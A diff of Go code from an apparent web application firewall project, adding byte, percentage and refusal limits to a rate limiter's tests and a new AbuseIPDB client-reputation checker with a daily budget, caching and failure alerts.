+const tableSize = 20000
+
+// whole is the percentage of each limit a client gets when nothing lowers
+// its limits.
+const whole = 100
+
 // The windows, as Count names them.
 const (
 	minute = "minute"
 	hour   = "hour"
 )
 
+func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
+	t.Parallel()
+
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	now := midnight()
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
+		tableSize)
+
+	if limiter.OverARateLimit(client, now) {
+		t.Error("a client never seen is over a rate limit")
+	}
+
+	if limiter.Len() != 0 {
+		t.Error("asking about a client never seen added it to the table")
+	}
+
+	for range limit {
+		if limiter.OverARateLimit(client, now) {
+			t.Error("a client with room for another request is over a rate limit")
+		}
+
+		wantCount(t, limiter, client, now, "")
+	}
+
+	if !limiter.OverARateLimit(client, now) {
+		t.Error("a client at its limit is not over a rate limit")
+	}
+
+	held, _ := limiter.Client(client)
+	if held.Minute.Current != limit {
+		t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
+	}
+
+	wantCount(t, limiter, client, now, minute)
+
+	// A limit that is off is never gone over.
+	off := ratelimit.New(ratelimit.Limits{}, tableSize)
+	off.Count(client, now, whole)
+
+	if off.OverARateLimit(client, now) {
+		t.Error("a client is over a rate limit that is off")
+	}
+}
+
 func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 	t.Parallel()
 
@@ -32,7 +85,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 		t.Run(tc.window, func(t *testing.T) {
 			t.Parallel()
 
-			limiter := ratelimit.New(tc.limits)
+			limiter := ratelimit.New(tc.limits, tableSize)
 			client := netip.MustParsePrefix("203.0.113.9/32")
 			start := midnight()
 			quarter := tc.length / 4
@@ -57,43 +110,244 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
 func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
 	for range limit {
-		_, _, over := limiter.Count(client, start)
+		_, _, over := limiter.Count(client, start, whole)
 		if over {
 			t.Fatal("a request within the limit is over it")
 		}
 	}
 
 	// Over both limits; the minute's is named, with the four requests.
-	_, hit, over := limiter.Count(client, start)
+	_, hit, over := limiter.Count(client, start, whole)
 
-	want := ratelimit.Hit{Window: minute, Limit: limit, Requests: limit + 1}
+	want := ratelimit.Hit{
+		Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
+	}
 	if !over || hit != want {
 		t.Errorf("request over the limit gives %+v and %t, want %+v and true",
 			hit, over, want)
 	}
 }
 
+func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	// Half of 5 requests is 2.5, rounded down to 2: the third is over.
+	for range 2 {
+		_, _, over := limiter.Count(client, start, 50)
+		if over {
+			t.Fatal("a request within half the limit is over it")
+		}
+	}
+
+	_, hit, over := limiter.Count(client, start, 50)
+
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
+	if !over || hit != want {
+		t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
+	}
+
+	// Half of the largest byte limit is still far above a TiB: working it
+	// out does not overflow.
+	_, hit, over = limiter.CountBytes(client, start, 1<<40, 50)
+	if over {
+		t.Errorf("a TiB is over half the largest byte limit: %+v", hit)
+	}
+}
+
+func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
+	t.Parallel()
+
+	// Only the hour has limits: the minute's and the day's are off.
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	// At 0 percent, the first request and the first byte are over the
+	// hour's limits, which are 0; the minute's, which are off, stay off.
+	_, hit, _ := limiter.Count(client, start, 0)
+
+	want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
+	if hit != want {
+		t.Errorf("the first request gives %+v, want %+v", hit, want)
+	}
+
+	_, hit, _ = limiter.CountBytes(client, start, 1, 0)
+
+	want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
+	if hit != want {
+		t.Errorf("the first byte gives %+v, want %+v", hit, want)
+	}
+}
+
+func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
+	t.Parallel()
+
+	const byteLimit = 1000
+
+	for _, tc := range []struct {
+		window string
+		limits ratelimit.Limits
+	}{
+		{minute, ratelimit.Limits{BytesPerMinute: byteLimit}},
+		{hour, ratelimit.Limits{BytesPerHour: byteLimit}},
+		{"day", ratelimit.Limits{BytesPerDay: byteLimit}},
+	} {
+		t.Run(tc.window, func(t *testing.T) {
+			t.Parallel()
+
+			limiter := ratelimit.New(tc.limits, tableSize)
+			client := netip.MustParsePrefix("203.0.113.9/32")
+
+			// 600 bytes are within the limit, 600 more over it.
+			_, _, over := limiter.CountBytes(client, midnight(), 600, whole)
+			if over {
+				t.Fatal("600 bytes are over the limit of 1000")
+			}
+
+			_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
+
+			want := ratelimit.Hit{
+				Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
+			}
+			if !over || hit != want {
+				t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
+			}
+		})
+	}
+}
+
+func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
+		tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	other := netip.MustParsePrefix("203.0.113.10/32")
+	start := midnight()
+
+	// The third request breaks the rate limit. The bytes of a request
+	// counted after it, within the byte limit, do not break it again.
+	for range 2 {
+		wantCount(t, limiter, client, start, "")
+	}
+
+	wantCount(t, limiter, client, start, minute)
+	wantBytesCount(t, limiter, client, start, 500, "")
+	wantBytesCount(t, limiter, client, start, 600, ratelimit.KindBytes)
+
+	// Bytes over the byte limit do not have the next request break it, nor
+	// the rate limit, which that request is within.
+	wantBytesCount(t, limiter, other, start, 1200, ratelimit.KindBytes)
+	wantCount(t, limiter, other, start, "")
+}
+
+func TestCountGivesTheBytesInEachWindow(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	limiter.CountBytes(client, start, 300, whole)
+
+	// A quarter into the next hour, the minute has only these 100 bytes.
+	// The hour still covers three quarters of the bucket before, whose 300
+	// bytes count 225, and these: 325. The day covers all 400.
+	later := start.Add(time.Hour + time.Hour/4)
+	limiter.CountBytes(client, later, 100, whole)
+
+	// A request's counts give the bytes counted so far too.
+	counts, _, _ := limiter.Count(client, later, whole)
+
+	want := ratelimit.Counts{
+		Minute: 1, Hour: 1, Day: 1, MinuteBytes: 100, HourBytes: 325, DayBytes: 400,
+	}
+	if counts != want {
+		t.Errorf("counts %+v, want %+v", counts, want)
+	}
+}
+
+func TestResetSetsTheBytesBackToZero(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{BytesPerDay: 1000}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	wantBytesCount(t, limiter, client, start, 1200, ratelimit.KindBytes)
+	limiter.Reset(client)
+
+	// The client has its whole allowance of bytes again.
+	wantBytesCount(t, limiter, client, start, 1000, "")
+}
+
+func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	client := netip.MustParsePrefix("203.0.113.9/32")
+	start := midnight()
+
+	for range limit {
+		if _, over := limiter.CountRefusal(client, start, limit); over {
+			t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
+		}
+	}
+
+	hit, over := limiter.CountRefusal(client, start, limit)
+
+	want := ratelimit.Hit{
+		Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
+	}
+	if !over || hit != want {
+		t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
+			want)
+	}
+
+	// Half a minute into the next, half of those four still count, 2, and
+	// this one: 3, within the threshold.
+	hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	if over || hit.Count != 3 {
+		t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
+			hit.Count, over)
+	}
+
+	// A ban sets them back to zero.
+	limiter.Reset(client)
+
+	hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
+	if hit.Count != 1 {
+		t.Errorf("after a reset, %v refusals, want 1", hit.Count)
+	}
+}
+
 func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{})
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
 	for range 3 {
-		limiter.Count(client, start)
+		limiter.Count(client, start, whole)
 	}
 
 	// A quarter into the next hour, the minute has only this request. The
 	// hour still covers three quarters of the bucket before, with its three
 	// requests, which count 2.25, and this one: 3.25. The day covers all
 	// four.
-	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4))
+	counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
 
 	want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
 	if counts != want {
@@ -104,7 +358,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
 func TestResetSetsTheCountsBackToZero(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -126,7 +380,7 @@ func TestResetSetsTheCountsBackToZero(t *testing.T) {
 func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -145,7 +399,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
 func TestRefusedRequestsCount(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
+		tableSize)
 	refused := netip.MustParsePrefix("203.0.113.9/32")
 	within := netip.MustParsePrefix("203.0.113.10/32")
 	start := midnight()
@@ -178,7 +433,7 @@ func TestRefusedRequestsCount(t *testing.T) {
 func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -194,7 +449,7 @@ func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) {
 func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
 	t.Parallel()
 
-	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit})
+	limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
@@ -217,12 +472,12 @@ func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) {
 	wantCount(t, limiter, client, setBack, hour)
 }
 
-func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
+func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	t.Parallel()
 
-	const maxClients = 20000
+	const maxClients = 3
 
-	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1})
+	limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}, maxClients)
 	now := midnight()
 
 	clients := make([]netip.Prefix, maxClients+1)
@@ -244,6 +499,11 @@ func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) {
 	// One client more drops the least recently seen, the second, which
 	// starts afresh, while the first is kept.
 	wantCount(t, limiter, clients[maxClients], now, "")
+
+	if limiter.Len() != maxClients {
+		t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
+	}
+
 	wantCount(t, limiter, clients[1], now, "")
 	wantCount(t, limiter, clients[0], now, minute)
 }
@@ -261,9 +521,24 @@ func wantCount(
 ) {
 	t.Helper()
 
-	_, hit, _ := limiter.Count(client, now)
+	_, hit, _ := limiter.Count(client, now, whole)
 	if hit.Window != want {
 		t.Errorf("request from %s at %s is over %q, want %q",
 			client, now.Format(time.RFC3339), hit.Window, want)
 	}
 }
+
+// wantBytesCount counts bytes from client at now, and checks the kind of
+// the limit they break, "" for none.
+func wantBytesCount(
+	t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
+	bytes int64, want string,
+) {
+	t.Helper()
+
+	_, hit, _ := limiter.CountBytes(client, now, bytes, whole)
+	if hit.Kind != want {
+		t.Errorf("%d bytes from %s at %s break a limit on %q, want %q",
+			bytes, client, now.Format(time.RFC3339), hit.Kind, want)
+	}
+}

internal/ratelimit/snapshot_test.go

@@ -14,9 +14,9 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
 
 	want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
 
-	limiter := ratelimit.New(ratelimit.Limits{})
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
 	for _, i := range []int{2, 3, 0, 1} {
-		limiter.Count(netip.MustParsePrefix(want[i]), midnight())
+		limiter.Count(netip.MustParsePrefix(want[i]), midnight(), whole)
 	}
 
 	snapshot := limiter.Snapshot()
@@ -43,7 +43,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
-	before := ratelimit.New(ratelimit.Limits{PerHour: limit})
+	before := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
 	for range limit {
 		wantCount(t, before, client, start, "")
 	}
@@ -51,7 +51,7 @@ func TestLoadedCountsCarryOn(t *testing.T) {
 	// Loaded into a new limiter, as across a restart, the client has no
 	// fresh allowance.
 	later := start.Add(time.Minute)
-	after := ratelimit.New(ratelimit.Limits{PerHour: limit})
+	after := ratelimit.New(ratelimit.Limits{PerHour: limit}, tableSize)
 	after.Load(before.Snapshot(), later)
 	wantCount(t, after, client, later, hour)
 }
@@ -62,40 +62,54 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
 	client := netip.MustParsePrefix("203.0.113.9/32")
 	start := midnight()
 
-	limiter := ratelimit.New(ratelimit.Limits{})
-	limiter.Count(client, start)
+	limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
+	limiter.Count(client, start, whole)
+	limiter.CountBytes(client, start, 5, whole)
+	limiter.CountRefusal(client, start, limit)
 	limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
 
 	loaded := func(now time.Time) ratelimit.Client {
 		t.Helper()
 
-		after := ratelimit.New(ratelimit.Limits{})
+		after := ratelimit.New(ratelimit.Limits{}, tableSize)
 		after.Load(limiter.Snapshot(), now)
 
 		return after.Snapshot()[0]
 	}
 
-	// Two minutes on, the window that ends then covers neither of the
-	// minute's buckets, which are emptied; the hour's and the day's stay,
-	// and so does the history.
+	// Two minutes on, the window that ends then covers none of the
+	// minute's buckets, of requests, of bytes and of refusals, which are
+	// emptied; the hour's and the day's stay, and so does the history.
 	got := loaded(start.Add(2 * time.Minute))
 	if got.Minute != (ratelimit.Buckets{}) || got.Hour.Current != 1 ||
 		got.Day.Current != 1 || got.History.Requests != 1 {
 		t.Errorf("loaded two minutes on as %+v", got)
 	}
 
+	if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
+		got.DayBytes.Current != 5 {
+		t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
+			got.MinuteBytes, got.HourBytes, got.DayBytes)
+	}
+
+	if got.MinuteRefusals != (ratelimit.Buckets{}) {
+		t.Errorf("loaded two minutes on with buckets of refusals %+v",
+			got.MinuteRefusals)
+	}
+
 	// A moment before, the window still covers some of the earlier one.
 	got = loaded(start.Add(2*time.Minute - time.Nanosecond))
-	if got.Minute.Current != 1 {
-		t.Errorf("loaded just under two minutes on with minute buckets %+v",
-			got.Minute)
+	if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
+		got.MinuteRefusals.Current != 1 {
+		t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
+			"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
 	}
 }
 
 func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
 	t.Parallel()
 
-	const maxClients = 20000
+	const maxClients = 3
 
 	// clients.json lists the clients by address. Here each was last seen
 	// a second before the one listed before it, so the last listed is the
@@ -109,7 +123,7 @@ func TestLoadDropsTheLeastRecentlySeenFirst(t *testing.T) {
 		addr = addr.Next()
 	}
 
-	limiter := ratelimit.New(ratelimit.Limits{})
+	limiter := ratelimit.New(ratelimit.Limits{}, maxClients)
 	limiter.Load(clients, midnight())
 
 	got := limiter.Snapshot()

internal/reputation/abuseipdb.go

@@ -0,0 +1,328 @@
+package reputation
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/netip"
+	"net/url"
+	"slices"
+	"sync"
+	"time"
+
+	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+)
+
+const (
+	// AbuseIPDBURL is where clients are checked: the check endpoint of
+	// AbuseIPDB's API.
+	AbuseIPDBURL = "https://api.abuseipdb.com/api/v2/check"
+	// AbuseIPDBSource is how the request log, the alerts and the metrics
+	// name AbuseIPDB.
+	AbuseIPDBSource = "abuseipdb"
+	// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
+	maxAnswerBytes = 64 << 10
+	// day is the length of the day the checks are counted in, in UTC.
+	day = 24 * time.Hour
+)
+
+var (
+	errNoScore      = errors.New("the answer gives no abuseConfidenceScore")
+	errBudgetUsedUp = errors.New(
+		"checks spent; none is made until the day ends at 00:00 UTC")
+)
+
+// Score is what AbuseIPDB said about a client, as reputation.json holds
+// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
+// score, from 0 to 100, and when AbuseIPDB answered.
+type Score struct {
+	Client  netip.Prefix `json:"client"`
+	Score   int64        `json:"score"`
+	Fetched time.Time    `json:"fetched"`
+}
+
+// Checks are what reputation.json keeps of the checks of clients with
+// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
+// first, and the scores still in use.
+type Checks struct {
+	Day    time.Time `json:"day,omitzero"`
+	Spent  int       `json:"spent"`
+	Scores []Score   `json:"scores"`
+}
+
+// AbuseIPDBParams are what NewAbuseIPDB needs.
+type AbuseIPDBParams struct {
+	// URL is where clients are checked, normally AbuseIPDBURL, with Key,
+	// the account's key (SWWAF_ABUSEIPDB_KEY).
+	URL string
+	Key string
+	// MinScore is the least score that is a hit (SWWAF_ABUSEIPDB_MIN_SCORE),
+	// and DailyBudget the most checks made in a day, in UTC
+	// (SWWAF_ABUSEIPDB_DAILY_BUDGET).
+	MinScore    int64
+	DailyBudget int
+	// CacheTTL is how long a score is used after it was fetched
+	// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a check may take
+	// (SWWAF_REPUTATION_TIMEOUT).
+	CacheTTL time.Duration
+	Timeout  time.Duration
+	// Now tells the time, normally time.Now in UTC.
+	Now func() time.Time
+	// ProcessLog receives each check that fails, and why, and the day's
+	// budget used up.
+	ProcessLog *slog.Logger
+	// Alerts receive a source_failure alert for each.
+	Alerts *alerts.Queue
+}
+
+// AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps
+// their scores. It is safe for concurrent use.
+type AbuseIPDB struct {
+	params     AbuseIPDBParams
+	httpClient *http.Client
+
+	mu sync.Mutex
+	// scores are by client. Each is added as it is fetched and never moved
+	// up, so that the one fetched longest ago is the first dropped.
+	scores *simplelru.LRU[netip.Prefix, Score]
+	// checking are the clients whose check is under way.
+	checking map[netip.Prefix]bool
+	// day is the day, in UTC, of the checks spent counts.
+	day   time.Time
+	spent int
+	// checks and failures count the checks made and those that failed,
+	// and retryAt is when a client may be checked again after the last
+	// check failed.
+	checks   int
+	failures int
+	retryAt  time.Time
+}
+
+// NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent.
+func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
+	scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil)
+	if err != nil {
+		panic(err) // NewLRU fails only for a size below one
+	}
+
+	return &AbuseIPDB{
+		params:     params,
+		httpClient: &http.Client{},
+		scores:     scores,
+		checking:   map[netip.Prefix]bool{},
+	}
+}
+
+// Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6
+// group, and whether it is a hit: MinScore or more. A score is used until
+// CacheTTL has passed since it was fetched, whichever of the client's
+// addresses its request comes from. A client without one is checked in
+// the background, by addr, the address its request came from, if
+// offender, if it has committed an offence, unless its check is under
+// way, a check failed less than failureDelay ago, or the day's checks
+// have used up DailyBudget; Hit never waits for a check. The check that
+// uses the budget up is logged and raised as a source_failure alert. ctx
+// is the context of the client's request, and a check goes on after the
+// request ends.
+func (a *AbuseIPDB) Hit(
+	ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
+) (int64, bool) {
+	a.mu.Lock()
+
+	now := a.params.Now()
+
+	kept, found := a.scores.Peek(client)
+	if found && now.Sub(kept.Fetched) < a.params.CacheTTL {
+		a.mu.Unlock()
+
+		return kept.Score, kept.Score >= a.params.MinScore
+	}
+
+	if today := now.Truncate(day); !a.day.Equal(today) {
+		a.day, a.spent = today, 0
+	}
+
+	check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
+		a.spent < a.params.DailyBudget
+	if check {
+		a.checking[client] = true
+		a.checks++
+		a.spent++
+
+		go a.check(context.WithoutCancel(ctx), client, addr)
+	}
+
+	usedUp := check && a.spent == a.params.DailyBudget
+
+	a.mu.Unlock()
+
+	if usedUp {
+		a.alert("the daily budget of AbuseIPDB checks is used up",
+			fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp))
+	}
+
+	return 0, false
+}
+
+// Checked returns how many checks were made.
+func (a *AbuseIPDB) Checked() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return a.checks
+}
+
+// Failures returns how many checks failed.
+func (a *AbuseIPDB) Failures() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	return a.failures
+}
+
+// BudgetLeft returns how many checks the day's budget has left.
+func (a *AbuseIPDB) BudgetLeft() int {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	if !a.day.Equal(a.params.Now().Truncate(day)) {
+		return a.params.DailyBudget
+	}
+
+	return max(a.params.DailyBudget-a.spent, 0)
+}
+
+// Snapshot returns the checks spent and every score still in use, sorted
+// by client, as reputation.json keeps them.
+func (a *AbuseIPDB) Snapshot() Checks {
+	a.mu.Lock()
+
+	now := a.params.Now()
+	checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
+
+	for _, kept := range a.scores.Values() {
+		if now.Sub(kept.Fetched) < a.params.CacheTTL {
+			checks.Scores = append(checks.Scores, kept)
+		}
+	}
+
+	a.mu.Unlock()
+
+	slices.SortFunc(checks.Scores, func(x, y Score) int {
+		return x.Client.Compare(y.Client)
+	})
+
+	return checks
+}
+
+// Load keeps checks, read from reputation.json, in place of those it
+// keeps, but for the scores past maxVerdicts, those fetched longest ago.
+// One fetched CacheTTL ago or more is neither used nor written, as for any
+// score.
+func (a *AbuseIPDB) Load(checks Checks) {
+	scores := slices.Clone(checks.Scores)
+	slices.SortStableFunc(scores, func(x, y Score) int {
+		return x.Fetched.Compare(y.Fetched)
+	})
+
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	a.day, a.spent = checks.Day, checks.Spent
+	a.scores.Purge()
+
+	for _, kept := range scores {
+		a.scores.Add(kept.Client, kept)
+	}
+}
+
+// check checks client with AbuseIPDB by addr, one of its addresses, keeps
+// the score as client's, and notes the check as no longer under way. A
+// check that fails gives no score: it is counted, logged and raised as a
+// source_failure alert, and no client is checked for failureDelay.
+func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
+	score, err := a.ask(ctx, addr)
+	now := a.params.Now()
+
+	a.mu.Lock()
+
+	delete(a.checking, client)
+
+	if err == nil {
+		a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
+	} else {
+		a.failures++
+		a.retryAt = now.Add(failureDelay)
+	}
+
+	a.mu.Unlock()
+
+	if err != nil {
+		a.alert("checking a client with AbuseIPDB failed", err)
+	}
+}
+
+// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
+// in the header Key. An answer other than 200, one that gives no score,
+// and none within Timeout, fail.
+func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
+	ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
+	defer cancel()
+
+	query := url.Values{"ipAddress": {addr.String()}}
+
+	req, err := http.NewRequestWithContext(ctx, http.MethodGet,
+		a.params.URL+"?"+query.Encode(), http.NoBody)
+	if err != nil {
+		return 0, fmt.Errorf("make the request: %w", err)
+	}
+
+	req.Header.Set("Key", a.params.Key)
+	req.Header.Set("Accept", "application/json")
+
+	res, err := a.httpClient.Do(req)
+	if err != nil {
+		// Do's error names the URL, which holds the client's address, which
+		// is not to be logged: only what went wrong is kept.
+		return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err))
+	}
+
+	defer func() {
+		_ = res.Body.Close()
+	}()
+
+	if res.StatusCode != http.StatusOK {
+		return 0, fmt.Errorf("%w %s", errStatus, res.Status)
+	}
+
+	var answer struct {
+		Data struct {
+			AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"`
+		} `json:"data"`
+	}
+
+	err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
+	if err != nil {
+		return 0, fmt.Errorf("read the answer: %w", err)
+	}
+
+	if answer.Data.AbuseConfidenceScore == nil {
+		return 0, errNoScore
+	}
+
+	return *answer.Data.AbuseConfidenceScore, nil
+}
+
+// alert raises a source_failure alert from AbuseIPDB with reason and err,
+// and logs them.
+func (a *AbuseIPDB) alert(reason string, err error) {
+	// Raised before it is logged, so that the alert is there once the log
+	// line is.
+	raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
+	a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
+}

internal/reputation/abuseipdb_test.go

@@ -0,0 +1,663 @@
+package reputation_test
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log/slog"
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"reflect"
+	"slices"
+	"strings"
+	"sync"
+	"testing"
+	"testing/synctest"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/metrics"
+	"sneak.berlin/go/smallwebwaf/internal/reputation"
+)
+
+// The tests of AbuseIPDB run in synctest bubbles, as those of the lists
+// do, and AbuseIPDB is a stand-in reached without the network, for the
+// same reason. A bubble's clock starts at midnight UTC, as a day the
+// checks are counted in starts.
+
+const (
+	// key is the account's key the tests give, the only one the stand-in
+	// takes.
+	key = "abuseipdb-key-0123456789abcdef"
+	// suspect and other are clients that have committed an offence.
+	suspect = "203.0.113.9"
+	other   = "2001:db8::9"
+)
+
+func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
+		checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
+
+		// A client that has committed no offence is not checked.
+		wantScore(t, checker, suspect, false, 0, false)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB)
+
+		// An offender is, and from then on its score is used, whether or not
+		// it is an offender.
+		wantScore(t, checker, suspect, true, 0, false)
+		synctest.Wait()
+		wantScore(t, checker, suspect, true, 100, true)
+		wantScore(t, checker, suspect, false, 100, true)
+		synctest.Wait()
+		wantChecked(t, abuseIPDB, suspect)
+	})
+}
+
+func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of
+		// it of its own.
+		var addresses []string
+		for i := 1; i < 16; i++ {
